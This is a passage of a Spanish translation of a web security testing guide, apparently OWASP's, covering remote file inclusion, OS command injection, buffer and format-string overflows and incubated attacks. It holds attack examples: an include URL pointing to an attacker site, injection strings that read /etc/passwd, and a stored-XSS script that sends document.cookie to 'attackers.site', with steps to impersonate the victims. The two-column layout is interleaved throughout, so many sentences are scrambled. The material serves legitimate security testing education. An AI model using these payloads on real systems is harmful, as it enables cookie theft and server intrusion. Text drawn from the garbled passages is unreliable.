usuarios malintencionados puedan manipular la ruta.
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Pruebas para la inclusión remota de archivos
alex:x:500:500:alex:/home/alex:/bin/bash
Resumen
margo:x:501:501::/home/margo:/bin/bash
La vulnerabilidad de inclusión de archivos permite que un atacante
incluya un archivo, generalmente, aprovechando un mecanismo de
...
"inclusión dinámica de archivos" implementado en la aplicación de
Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotación es un destino. La vulnerabilidad se produce debido al uso de datos
poco más compleja. Considere el siguiente fragmento del código: suministrados por el usuario sin una validación adecuada.
<?php “include/”.include($_GET[‘filename’].“.php”); ?>

Esto puede llevar a que se muestre el contenido del archivo, pero
dependiendo de la gravedad, también puede llevar a:
En el caso de la sustitución simple con nombres de archivo arbitrarios no • Ejecución de código en el servidor web.
funcionaría, ya que se añade el sufijo 'php'. Para evitarlo, se utiliza una técnica con
terminadores null bytes. Cómo %00 representa efectivamente el final de la cadena, • Ejecución de código en el lado del cliente como JavaScript que nos llevaría a
se ignorará cualquier carácter después de este byte especial. La siguiente solicitud otros ataques tales como cross site scripting (XSS).
también devolverá una lista de atacante de los atributos básicos de los usuarios:
• Negación de servicio (DoS).
• Publicación de información sensitiva.

224
Remediación
La inclusión remota de archivos (también conocida como RFI) es el La solución más eficaz para eliminar las vulnerabilidades de inclusión de
proceso de incluir archivos remotos a través de la explotación de las archivo es evitar pasar datos enviados por el usuario a cualquier
vulnerabilidades en los procedimientos de inserción implementados en la filesystem/framework API. Si esto no es posible, la aplicación puede
aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una mantener una lista blanca de archivos que pueden ser incluidos por la
página recibecomo datos, la ruta del archivo que debe estar incluida y página y luego utilizar un identificador (por ejemplo, el número de índice)
este dato no ha sido correctamente desinfectado, permitiendo que una para tener acceso al archivo seleccionado. Cualquier solicitud que
URL externa se inyecte. Aunque la mayoría de ejemplos apuntan a scripts contenga un identificador inválido será rechazada, de esta manera no hay
PHP vulnerables, debemos tener en cuenta que también es común en ninguna superficie de ataque para que usuarios malintencionados puedan
tecnologías como JSP, ASP y otras. manipular la ruta.
Cómo probar Pruebas de inyección de comandos (OTG-INPVAL-013)
Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no están Resumen
correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos
buscar scripts que tomen los nombres de archivos como parámetros. Considere el Este artículo describe cómo probar una aplicación en busca de inyección de
siguiente ejemplo PHP: comandos del sistema operativo. El evaluador intentará inyectar un comando de
sistema operativo a través de una solicitud HTTP a la aplicación.
$incfile = $_RE UEST[“file”];
include($incfile.”.php”); La Inyección de comandos del sistema operativo es una técnica utilizada a través de
una interfaz web para ejecutar comandos del sistema operativo en un servidor web.
El usuario provee comandos del sistema operativo a través de una interfaz web para
ejecutar comandos del sistema operativo. Cualquier interfaz que no esté
correctamente desinfectada está sujeta a esta debilidad. Con la habilidad de ejecutar
En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se comandos en el sistema operativo, el usuario puede subir programas maliciosos o
realiza una validación de datos ingresados (por ejemplo, comprobando el incluso obtener contraseñas. La inyección de comandos del sistema operativo es
ingreso contra una lista blanca), así que este fragmento de código resulta prevenible cuando la seguridad se acentúa durante el diseño y desarrollo de las
vulnerable a este tipo de ataque. Considere de hecho la siguiente URL: aplicaciones.
Cómo probar
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou
s_page Al observar un archivo en una aplicación web, el nombre del archivo a menudo se
muestra en la URL. Perl permite canalizar datos de un proceso hacia una
instrucción abierta. El usuario simplemente puede añadir el símbolo Pipe "|" en el
final del nombre del archivo.
En este caso el archivo remoto va a ser incluido y cualquier código que contenga se
ejecutara en el servidor. Ejemplo de las URL antes de ser alteradas:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Referencias
Libros Blancos
• “Remote File Inclusion”: projects.webappsec.org Ejemplo de la URL modificada:
• Wikipedia: “Remote File Inclusion”: en.wikipedia.org

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

225
POST http://www.example.com/public/doc HTTP/1.1

Esto ejecutará el comando “/bin/ls”.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1)

Gecko/20061010 FireFox/2.0
Añadiendo un punto y coma al final de una URL para una. página PHP seguida de
un comando del sistema operativo, ejecutará el comando. % 3B que está Accept:
codificado para url y se decodifica como punto y coma. text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
Ejemplo:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Keep-Alive: 300
Ejemplo Proxy-Connection: keep-alive
Consideremos el caso de una aplicación que contiene un conjunto de documentos Referer: http://127.0.0.1/WebGoat/attack?Screen=20
que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un
HTTP POST como el siguiente: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=

POST http://www.example.com/public/doc HTTP/1.1
Content-length: 33
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1)
Gecko/20061010 FireFox/2.0
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
,image/png,*/*;q=0.5 Si la aplicación no validase la solicitud, podemos obtener el siguiente resultado:
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-length: 33
En la solicitud post, vemos cómo la aplicación recupera la documentación

pública. Ahora podemos probar si es posible agregar un comando del
sistema operativo para inyectar en el HTTP POST. Haga lo siguiente:

226
Exec Results for ‘cmd.exe /c type “C:\httpd\public\doc\”Doc=Doc1.pdf+|+Dir

c:\’
Referencias
Output...
Libros Blancos
Il volume nell’unità C non ha etichetta.
• securityfocus.com
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
Remediación
18/10/2006 00:27 2,675 Dir_Prog.txt
Desinfección
18/10/2006 00:28 3,887 Dir_ProgFile.txt
Los formularios de datos y la URL deben desinfectarse de caracteres no
16/11/2006 10:43
válidos. Una "lista negra" de caracteres es una opción, pero puede ser
Doc difícil pensar en todos los caracteres contra los que hay que validar.
También pueden haber algunos que no han sido descubiertos todavía.
11/11/2006 17:25 Para validar la entrada del usuario se debe crear una "lista blanca" que
contenga sólo caracteres permitidos. Caracteres que faltaron, así como las
Documents and Settings amenazas desconocidas, deben ser eliminados de esta lista.
25/10/2006 03:11
I386
Permisos
14/11/2006 18:51
La aplicación web y sus componentes deben ejecutarse bajo permisos
h4ck3r estrictos que no permitan la ejecución de comandos del sistema
operativo. Trate de verificar todas estas informaciones para probar desde
30/09/2005 21:40 25,934 un punto de vista de Caja Gris.
OWASP1.JPG
03/11/2006 18:29 Pruebe la saturación de búfer (OTG-INPVAL-014)
Prog
Resumen
18/11/2006 11:20
Para conocer más acerca de las vulnerabilidades de saturación de búfer,
Program Files consulte las páginas de saturación de búfer.
16/11/2006 21:12
Software Vea el artículo OWASP sobre ataques de saturación de búfer.
24/10/2006 18:25
Setup Vea el artículo OWASP sobre vulnerabilidades de saturación de búfer.
Cómo probar
En este caso, hemos realizado con éxito un ataque de inyección de OS.
Diferentes tipos de vulnerabilidades de saturación de búfer tienen
diferentes métodos de prueba. Aquí están los métodos de prueba para los
tipos comunes de vulnerabilidades de saturación de búfer.
Herramientas
• OWASP ZAP

227
• Pruebas de vulnerabilidad de saturación del heap. con la saturación de pilas de datos, ya que hay ciertas condiciones que
deben existir en el código de estas vulnerabilidades para que sean
• Pruebas de vulnerabilidad de saturación de pilas de datos. explotables.
• Pruebas de vulnerabilidad de cadena de formato.
Cómo probar
Revisión de código Pruebas de Caja Negra
Vea el artículo de la Guía de revisión de código OWASP sobre cómo Los principios de las pruebas de Caja Negra para saturación de heap son
revisar el código en busca de vulnerabilidades por saturación de heap o los mismos que se utilizan para la saturación de pilas de datos. La clave
búfer. está en introducir cadenas de entrada que sean más largas de lo esperado.
Aunque el proceso de prueba sigue siendo el mismo, los resultados que
son visibles en el depurador son significativamente diferentes. Mientras
que, en el caso de una saturación de pila de datos, una instrucción de
puntero o sobreescritura SEH sería evidente; esto no sucede en una
condición de saturación de heap.
Remediación
Vea el artículo de la Guía de desarrollo OWASP sobre cómo evitar

vulnerabilidades de saturación de búfer. Al depurar un programa para Windows, una saturación de heap puede
aparecer en varias formas diferentes; la más común es un cambio de
puntero que tiene lugar después de que entra en acción la rutina de
gestión del heap. A continuación se muestra un escenario que ilustra una
Pruebas de saturación de Heap
vulnerabilidad de saturación de heap.
Resumen
En esta prueba, el evaluador de penetración comprueba si se puede

provocar una saturación del heap que explota un segmento de memoria.
Heap es un segmento de memoria que se utiliza para almacenar datos

dinámicamente asignados y variables globales. Cada fragmento de la
memoria en el heap consiste en etiquetas de límite que contienen
información de gestión de memoria.
Cuando un búfer basado en heap se satura, se sobrescribe la información

de control en estas etiquetas. Cuando la rutina de gestión del heap libera
el búfer, una sobrescritura de la dirección de la memoria da lugar a una
infracción de acceso. Cuando la saturación se ejecuta de manera
controlada, la vulnerabilidad permitirá a un adversario sobrescribir en
una ubicación de memoria deseada con un valor controlado por el
usuario. En la práctica, un atacante podrá sobrescribir funciones de
Los dos registros que se muestran, EAX y ECX, se pueden rellenar con
dirección y varias direcciones almacenadas en estructuras como GOT,
direcciones del usuario que forman parte de los datos que se utilizan para
.dtors o TEB con la dirección de una carga maliciosa útil.
saturar el búfer heap. Una de las direcciones puede apuntar a un puntero
de función que debe ser sobreescrito, por ejemplo UEF (Unhandled
Exception filter) (filtro de excepción no controlada), y el otro puede ser la
dirección del código del usuario que necesita ejecutarse.
Hay numerosas variantes de la vulnerabilidad de saturación de heap
(corrupción del heap) que puede permitir cualquier cosa, desde
sobrescribir punteros de función a la explotación de las estructuras de
gestión de memoria para la ejecución de código arbitrario. Localizar la
saturación de heap requiere una revisión más detallada en comparación
228
Cuando se ejecutan las instrucciones de MOV que se muestran en el panel

int main(int argc, char *argv[])
izquierdo, la sobrescritura ocurre y, cuando se contacta con la función, se
ejecuta el código de usuario. Como se mencionó anteriormente, otros
{
métodos para probar dichas vulnerabilidades incluyen la ingeniería
inversa de las aplicaciones binarias, que es un proceso complejo y ……
tedioso, donde se utilizan técnicas de difuminación (fuzzing).
vulnerable(argv[1]);
return 0;
Al revisar el código, uno debe darse cuenta que hay varias vías por donde
}
las vulnerabilidades asociadas con los heaps pueden surgir. Un código
aparentemente inofensivo a primera vista puede ser vulnerable bajo
ciertas condiciones. Puesto que hay distintas variaciones de esta
vulnerabilidad, cubriremos sólo los temas que son predominantes.
int vulnerable(char *buf)
La mayoría de las veces, los bufers heap son considerados seguros por {
muchos desarrolladores que no dudan en realizar operaciones inseguras
como strcpy () en ellos. El mito de que una saturación de pila de datos y la
instrucción de sobrescribir el puntero son los únicos medios para
HANDLE hp = HeapCreate(0, 0, 0);
ejecutar un código arbitrario resulta peligroso en caso del código que se
muestra a continuación:
HLOCAL chunk = HeapAlloc(hp, 0, 260);
strcpy(chunk, buf); ‘’’ Vulnerability’’’
En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a
la etiqueta de límite adyacente, facilitando la sobrescritura de una
ubicación de memoria arbitraria con cuatro bytes de datos una vez que
comienza la rutina heap de almacenamiento dinámico.
Recientemente, varios productos, especialmente las bibliotecas de

antivirus, han sido afectados por variantes que son combinaciones de una
saturación de números enteros y copia de operaciones en un búfer de
heap. Como ejemplo, considere un fragmento de código vulnerable, una
parte del código responsable de procesar los tipos de archivo TNEF, de
Clam Anti Virus 0.86.1,
source file tnef.c and function tnef_message( ):

229
• David Litchfield: “Windows Heap Overflows”:

string = cli_malloc(length + 1); ‘’’ Vulnerability’’’
www.blackhat.com
if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’
free(string);
Probar la saturación de pila de datos
return -1;
Resumen
}
La saturación de pila de datos se produce cuando se copian datos de
El malloc en la línea 1 asigna memoria basada en el valor de la longitud, el
tamaño variable en búferes de longitud ubicados en la pila de datos del
cual coincide con un entero de 32 bits. En este ejemplo particular, la
programa sin ninguna comprobación de los límites.
longitud es controlable por el usuario y se puede fabricar un archivo
TNEF malicioso para ajustar la longitud a '-1', que daría como resultado
malloc (0). Por lo tanto, este malloc asignaría un búfer heap pequeño, que
sería de 16 bytes en la mayoría de las plataformas de 32 bits (como se Las vulnerabilidades de esta clase se consideran generalmente de alta
indica en malloc.h). severidad, ya que su explotación permitiría, sobre todo, la ejecución de
código arbitrario o negación de servicio. Aunque rara vez se encuentra en
plataformas interpretadas, el código escrito en C y lenguajes similares es,
a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi
Y ahora, en la línea 2, una saturación de heap se produce en la llamada a
todas las plataformas son vulnerables a saturación de pila de datos con
fread (). El tercer argumento, en este caso la longitud, se espera que sea
las siguientes excepciones notables:
una variable de size_t. Pero si va a ser '-1', el argumento envuelve a
0xFFFFFFFF, copiando así 0xFFFFFFFF bytes en el búfer de 16 bytes.
• J2EE – siempre y cuando no se invoquen métodos nativos o comunicación

con el sistema
Las herramientas de análisis de código estático también pueden ayudar
en la localización de vulnerabilidades de heap tales como “double free” • .NET – siempre que el código inseguro o no administrado no sea invocado
etc. Una variedad de herramientas como las RATS, Flawfinder y ITS4 (tal como el usado en P/Invoke or COM Interop)
están disponibles para el análisis de lenguajes de estilo C.
• PHP – mientras que no se comuniquen con los programas externos y las
extensiones PHP vulnerables escritas en C o C++ las cuales pueden sufrir de
saturación de pila de datos.
Herramientas
• OllyDbg: “Un depurador basado en windows utilizado para el análisis de

vulnerabilidades de saturación de búfer”: ollydbg.de Las vulnerabilidades de saturación de pila de datos a menudo permiten a
un atacante tomar directamente el control del puntero de instrucción y,
• Spike, un fuzzer framework que puede utilizarse para explorar las
por lo tanto, alterar la ejecución del programa y ejecutar el código
vulnerabilidades y realizar pruebas largas: immunitysec.com
arbitrario. Además de sobrescribir el puntero de instrucción, resultados
similares también se pueden obtener sobreescribiendo otras variables y
• Brute Force Binary Tester (BFB), un controlador binario proactivo:
estructuras, como los controladores de excepciones, que se encuentran en
la pila de datos.
bfbtester.sourceforge.net
• Metasploit, un framework de desarrollo, explotación y evaluación rápido:

metasploit.com
Cómo probar

Referencias
La clave para probar las vulnerabilidades de saturación de pila de datos
de una aplicación es suministrando datos demasiado grandes en
Libros Blancos
comparación con los esperados. Sin embargo, someter la aplicación a
• w00w00: “Heap Overflow Tutorial”: cgsecurity.org datos arbitrariamente grandes no es suficiente. Es necesario inspeccionar
el flujo de ejecución de la aplicación y las respuestas para determinar si
una saturación se ha disparado realmente o no. Por lo tanto, los pasos
230
necesarios para localizar y validar saturaciones de pila de datos sería

asociar un depurador a la aplicación de destino o al proceso, generar
ingresos con formato incorrecto en la aplicación, exponer la aplicación a Puesto que la aplicación está esperando argumentos de comandos de
los datos malformados y revisar las respuestas en un depurador. El línea, una larga secuencia de 'A' puede suministrarse en el campo de
depurador permite al evaluador ver el flujo de ejecución y el estado de argumentos como se muestra arriba.
los registros cuando la vulnerabilidad se activa.
Al abrir el ejecutable con los argumentos suministrados y continuar

Por otra parte, una forma más pasiva para probar puede ser empleada; corriendo la aplicación se obtienen los siguientes resultados:
esta consiste en inspeccionar el código de ensamble de la aplicación
usando desensambladores. En este caso, se analizarán varias secciones en
busca de firmas de fragmentos de ensamble vulnerables. Esto se
denomina comúnmente ingeniería inversa y es un proceso tedioso.
Un ejemplo simple: considere la siguiente técnica empleada durante la

prueba de un "sample.exe" ejecutable para saturación de pila de datos:
#include<stdio.h>
int main(int argc, char *argv[])
char buff[20];
printf(“copying into buffer”);
strcpy(buff,argv[1]);
return 0;
Como se muestra en la ventana de registros del depurador, el EIP o

Extended Instruction Pointer, que apunta a la siguiente instrucción a
ejecutarse, contiene el valor '41414141'. '41' que es una representación
El archivo sample.exe se corre en un depurador, en nuestro caso OllyDbg. hexadecimal para el carácter 'A' y, por lo tanto, la cadena 'AAAA' se
traduce a 41414141.
Esto demuestra claramente cómo se puede utilizar el ingreso de datos

para sobrescribir el puntero de instrucción con los valores suministrados
por el usuario y el control de ejecución del programa. Una saturación de
pila de datos también puede permitir la sobrescritura de estructuras
basadas en pilas de datos como SEH (Structured Exception Handler, en
español: controlador de excepciones estructurado) para controlar la
ejecución de código y esquivar algunos mecanismos de protección de
apilamiento.
Como se mencionó anteriormente, otros métodos para probar dichas

vulnerabilidades incluyen utilizar ingeniería inversa en los binarios de la

231
aplicación, el cual es un proceso complejo y tedioso y utiliza técnicas de El uso, relativamente más seguro, de strncpy()también puede llevar a una
difuminación (fuzzing). saturación de cúmulo de datos, ya que sólo restringe el número de bytes
copiados en el búfer de destino. Si el argumento de tamaño que se utiliza para
lograr esto se genera dinámicamente basado en los datos ingresados por el
usuario o no se calcula exactamente dentro de la trayectoria, es posible la
Pruebas de Caja Gris saturación de búferes de cúmulo de datos. Por ejemplo:
Al revisar el código en busca de una saturación de cúmulo de datos, es

aconsejable buscar comunicaciones con funciones de bibliotecas inseguras void func(char *source)
como gets(), strcpy(), strcat() etc. que no validan la longitud de cadenas de
fuente y copian ciegamente datos en búferes de tamaño fijo. {
Por ejemplo, considere la siguiente función: Char dest[40];
…
void log_create(int severity, char *inpt) {
size=strlen(source)+1
char b[1024];
….
strncpy(dest,source,size)
}
if (severity == 1)
Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria
{ la vulnerabilidad de saturación de pila de datos samba trans2open.
(http://www.securityfocus.com/archive/1/317615).
strcat(b,”Error occurred on”);
strcat(b,”:”);
Las vulnerabilidades también pueden aparecer en la URL y desde el código de
strcat(b,inpt); análisis de dirección. En tales casos, una función como memccpy() es
generalmente empleada, ya que copia los datos en un búfer de destino desde la
fuente mientras no se encuentre un carácter especificado. Considere la
función:
FILE *fd = fopen (“logfile.log”, “a”); void func(char *path)
fprintf(fd, “%s”, b); {
fclose(fd); char servaddr[40];
memccpy(servaddr,path,’\’);
….
De lo anterior, la línea strcat(b,inpt) dará lugar a una saturación de cúmulo de
datos si inpt excede los 1024 bytes. Esto no sólo demuestra el uso inseguro de
strcat, también muestra lo importante que es examinar la longitud de las
secuencias a las que hace referencia un puntero de carácter que se pasa como
argumento a una función, en este caso, la longitud de cadena referenciada por
char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los En este caso, la información contenida en la ruta de acceso podría ser
argumentos de la función y determinar longitudes de cadena al revisar el mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se
código. provocará una saturación de pila de datos.

232
Una vulnerabilidad similar se encuentra en el subsistema de Windows Esta sección describe cómo probar ataques de cadena de formato que
RPCSS (MS03-026). El código vulnerable copió los nombres de rutas de pueden utilizarse para bloquear un programa o ejecutar un código
acceso UNC del servidor en un búfer de tamaño fijo, hasta que un '\' fue dañino. El problema surge por la utilización de datos ingresados por el
encontrado. La longitud del nombre del servidor, en este caso, era usuario, que no han sido filtrados, como el parámetro de formato de
controlable por los usuarios. cadena en ciertas funciones C que realizan el formateo, como printf().
Aparte de revisar manualmente el código de saturación de pila de datos, Varios lenguajes de estilo C disponen de un formato de salida por medio
también pueden ser de gran ayuda las herramientas de análisis estático de funciones como printf (), fprintf () etc..
del código. Aunque tienden a generar muchos falsos positivos y apenas
serían capaces de localizar una pequeña porción de defectos, sin duda El formateo se rige a un parámetro de estas funciones como un
ayudan a reducir la sobrecarga asociada con la búsquedas sencillas, como especificador del tipo de formato, normalmente %s, %c etc.. La
los bugs strcpy() y sprintf(). vulnerabilidad se presenta cuando se contactan funciones de formato que
tienen una inadecuada validación de parámetros y datos controlados por
el usuario.
Una variedad de herramientas como RATS, Flawfinder y ITS4 están

disponibles para analizar lenguajes de estilo C.
Un ejemplo simple sería printf(argv[1]). En este caso, el especificador de
tipo no ha sido explícitamente declarado, lo que permite a un usuario
pasar caracteres como %s, %n, %x a la aplicación, por medio de una línea
Herramientas de comandos de argumento argv [1].
• OllyDbg: “Un depurador basado en windows, utilizado para el análisis de

vulnerabilidades de saturación de búfer”: ollydbg.de
Esta situación tiende a ser precaria ya que un usuario que puede
• Spike, un fuzzer framework que puede utilizarse para explorar las suministrar especificadores de formato, puede realizar las siguientes
vulnerabilidades y realizar pruebas largas: immunitysec.com acciones maliciosas:
• Brute Force Binary Tester (BFB), un controlador binario

proactivo:bfbtester.sourceforge.net
Enumerar el proceso de la pila de datos: Esto permite a un adversario
• Metasploit, un framework de desarrollo, explotación y evaluación rápido: ver la organización del proceso vulnerable de apilamiento, mediante el
metasploit.com suministro de cadenas de formato como, %x o %p, que puede conducir a
la fuga de información sensible. También puede ser utilizado para extraer
valores de "canario" cuando la aplicación está protegida con un
mecanismo de seguridad para la pila de datos. Junto con una saturación
Referencias
de pila de datos, esta información puede utilizarse para saltarse el
protector de apilamiento.
Libros Blancos
• Aleph One: “Smashing the Stack for Fun and Profit”: insecure.org
Control del flujo de ejecución: Esta vulnerabilidad también puede

• The Samba trans2open stack overflow vulnerability: securityfocus.com
facilitar la ejecución de código arbitrario, ya que permite escribir cuatro
• Windows RPC DCOM vulnerability details: xfocus.org bytes de datos en una dirección suministrada por el adversario. El
especificador %n es útil para sobrescribir varios punteros de función en
http://www.xfocus. la memoria con la dirección de la carga maliciosa. Cuando se contactan
estos punteros de función sobrescritos, al ejecutarse pasan el código
org/documents/200307/2.html malicioso.
Pruebas para la cadena de formato Negación de servicio: Si el adversario no está en condiciones de

suministrar código malicioso para su ejecución, la aplicación vulnerable
Resumen puede ser bloqueada suministrando una secuencia de %x seguido de %n.

233
Cómo probar printf(“The string entered is\n”);
Pruebas de Caja Negra printf(“%s”,argv[1]);
La clave para probar las vulnerabilidades de cadena de formato es return 0;

suministrar especificadores del tipo de formato al ingresar a la aplicación.
}
Cuando se examina el desmontaje utilizando IDA Pro, la dirección de un

Por ejemplo, considere una aplicación que procesa la cadena URL especificador de tipo de formato es insertada en la pila y es claramente visible antes
http://xyzhost.com/html/en/index.htm o acepta ingresos desde de contactar a printf.
formularios. Si existe una vulnerabilidad de cadena de formato en una de
las rutinas que procesan esta información, suministra una dirección URL
como http://xyzhost.com/html/en/index.htm%n%n%n o pasa %n en uno
de los campos del formulario, podría bloquear la aplicación y crear un
volcado de memoria en la carpeta de alojamiento.
Las vulnerabilidades de cadena de formato se manifiestan principalmente

en servidores web, servidores de aplicaciones o aplicaciones web que
utilizan código basado en C y C++ o scripts CGI escritos en C. En la
mayoría de estos casos, un informe de errores o la función de registro
como syslog () han sido contactados de una manera insegura.
Al probar los scripts CGI en busca de vulnerabilidades de cadena de

formato, los parámetros de entrada pueden ser manipulados para incluir
especificadores de tipo %x o %n. Por ejemplo una solicitud legítima
como: Por otro lado, cuando se compila el mismo código sin "%s" como un argumento, la
variación en el montaje es evidente. Como se ve abajo, no hay ninguna
http://hostname/cgi-bin/query.cgi?name=john&code=45765 compensación (offset) que se inserte en la pila antes de contactar a printf.
puede ser alterada a
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
Si existe una vulnerabilidad de cadena de formato en el procesamiento

rutinario de este solicitud, el evaluador podrá ver los datos de la pila que
se imprimen en el navegador.
Si el código no está disponible, el proceso de revisar los fragmentos del

ensamblaje (también conocido como ingeniería inversa binaria) rendiría Pruebas de Caja Negra
información sustancial acerca de errores en la cadena de formato.
Mientras se ejecutan las revisiones de código, casi todas las
Tome el ejemplo del código (1): vulnerabilidades de cadena de formato pueden detectarse con el uso de
herramientas de análisis de código estático. Someter al código que se
int main(int argc, char **argv)

234
muestra en (1) a ITS4, que es una herramienta de análisis de código

estático, da el siguiente resultado:
Referencias
Libros Blancos
• Format functions manual page: die.net
• Tim Newsham: “A paper on format string attacks”:
thenewsh.com
• Team Teso: “Exploiting Format String Vulnerabilities”:
julianor.tripod.com
• Analysis of format string bugs: www.cis.syr.edu
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015)

Las funciones que son principalmente responsables de vulnerabilidades
de cadena de formato son las que tratan los especificadores de formato
Resumen
como opcionales. Por lo tanto, al revisar manualmente el código, puede
hacerse hincapié en funciones tales como:
También conocidos como ataques persistentes, la prueba de incubación
es un método de prueba complejo que necesita más de una vulnerabilidad
printf
de validación de datos para que funcione. Las vulnerabilidades incubadas
se utilizan típicamente para llevar a cabo ataques de "abrevadero" contra
fprintf
usuarios legítimos de aplicaciones web.
sprintf
Las vulnerabilidades incubadas tienen las siguientes características:
snprintf
vfprintf
• En primer lugar, el vector de ataque debe ser constante y debe almacenarse
vprintf en la capa de persistencia. Esto ocurrirá únicamente si una validación de
datos débil está presente o los datos llegaron al sistema a través de otro canal
vsprintf como una consola de administración o directamente a través de un proceso de
datos restringidos.
vsnprintf
• Segundo, una vez que el vector de ataque ha sido "contactado", este necesita
Puede haber varias funciones de formateo que son específicas en la ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado
plataforma de desarrollo. Esto también debe revisarse en busca de la requiere una validación de salida de datos débil para que el script pueda ser
ausencia de cadenas de formato, una vez que se ha entendido su entregado al cliente de una manera ejecutable.
argumento de uso.
La explotación de algunas vulnerabilidades, o incluso características

Herramientas funcionales de una aplicación web, permitirá a un atacante plantar una sección
de datos que más tarde se recuperará mediante un usuario desprevenido u otro
• ITS4: “Una herramienta de análisis estático del código para la identificación componente del sistema, explotando así alguna vulnerabilidad.
de vulnerabilidades de cadenas de formato con código fuente”: cigital.com
• Un constructor de cadenas de explotación para errores de formato:

seclists.org En una prueba de penetración, los ataques incubados pueden utilizarse para
evaluar la importancia de ciertos errores, utilizando el tema de la seguridad

235
particular que encontró para construir un ataque basado en el lado del cliente; página resultante o descargue y ejecute el archivo desde el sitio de
este se utiliza generalmente para atacar a un gran número de víctimas al confianza.
mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).
Ejemplo de XSS en una cartelera

Este tipo de ataque asíncrono cubre un gran espectro de vectores de
ataque, entre ellos los siguientes: [1] Introduzca el código JavaScript como el valor para el campo
vulnerable, por ejemplo:
<script>document.write(‘<img
• Los componentes de carga de archivos en una aplicación web permiten al src=”http://attackers.site/cv.jpg?’+document.cookie+’”>’)</script>
atacante subir archivos corrompidos (imágenes jpg imágenes que explotan CVE-
2004-0200, imágenes png que explotan CVE-2004-0597, archivos ejecutables,
páginas de sitios con componentes activos, etc.).
[2] Dirija a los usuarios a navegar por la página vulnerable o espere a que
los usuarios naveguen. Tenga un "oyente" en el servidor anfitrión del sitio
del lado del atacante.para escuchar todas las conexiones entrantes.
• Asuntos de cross-site scripting de publicaciones en foros públicos (vea Pruebas
para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). [3] Cuando los usuarios navegan por la página vulnerable, una solicitud
Un atacante podría potencialmente almacenar secuencias de comandos que contiene su cookie (document.cookie se incluye como parte de la URL
malintencionados o el código en un repositorio en el servidor restringido de la solicitada) será enviada al servidor anfitrión del sitio del atacante, como
aplicación web (por ejemplo, una base de datos) para que este código de script los siguientes:
se ejecute mediante uno de los usuarios (los usuarios finales, administradores,
etc.). El ataque incubado arquetípico es ejemplificado por una vulnerabilidad de - GET
cross site scripting en un foro de usuarios, cartelera o blog para inyectar código /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
JavaScript en la página vulnerable y será eventualmente procesado y ejecutado
en el navegador del usuario del sitio utilizando el nivel de confianza del sitio %20JSESSIONID=ADIFFERENTVALUE:-
(vulnerable) original en el navegador del usuario. 1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
• La inyección SQL/XPATH permite al atacante subir contenido a una base de

datos, que será más tarde recuperado como parte de los contenidos activos en
una página web. Por ejemplo, si el atacante puede publicar JavaScript arbitrario [4] Use cookies obtenidas para personificar a los usuarios en el sitio
en una cartelera para que se ejecute por los usuarios, luego él podría tomar el vulnerable.
control de su navegador (por ejemplo, XSS-proxy).
Ejemplo de inyección SQL

• Servidores mal configurados que permiten la instalación de paquetes de Java o
componentes similares del sitio web (es decir Tomcat o consolas de alojamiento Por lo general, este conjunto de ejemplos aprovecha ataques de XSS
de web tales como Plesk, CPanel, Helm, etc.) explotando una vulnerabilidad de inyección SQL. Lo primero que se
comprueba es si el sitio de destino tiene una vulnerabilidad de inyección
SQL. Esto se describe en la sección 4.2 para probar la inyección de SQL.
Para cada vulnerabilidad de inyección SQL, hay un conjunto subyacente
Cómo probar
de restricciones que describe el tipo de consultas que el atacante o
evaluador de edición puede hacer.
Ejemplo de carga de archivos

Entonces, el evaluador tiene que comparar los ataques XSS que ha ideado
Verifique el tipo de contenido que se permite subir a la aplicación web y
con los ingresos permitidos
la URL resultante para el archivo cargado. Cargue un archivo que explote
un componente en la estación de trabajo de usuario local cuando se
consulten o descarguen por parte del usuario. Envíe a su víctima un email
u otro tipo de alerta para dirigirlo a navegar por la página. El resultado
esperado es que se active la explotación cuando el usuario navegue por la

236
[1] De manera similar al anterior ejemplo de XSS, utilice un campo de Como también debería ser obvio, la habilidad de cambiar el contenido de
página web vulnerable a problemas de inyección SQL para cambiar un la página web en el servidor a través de cualquier vulnerabilidad que
valor en la base de datos que se utilizaría por la aplicación como ingresos puede ser explotable en el host dará al atacante permisos de escritura en
que se muestran en el sitio sin la filtración adecuada (esto sería una el webroot, y también será útil cuando se quiera plantar un ataque
combinación de una inyección de SQL y un problema XSS). incubado semejante en las páginas del servidor web (en realidad, se trata
de un método de propagación de la infección conocido para algunos
gusanos de servidores web).
Por ejemplo, supongamos que hay un pie de página en la base de datos Pruebas de Caja Gris
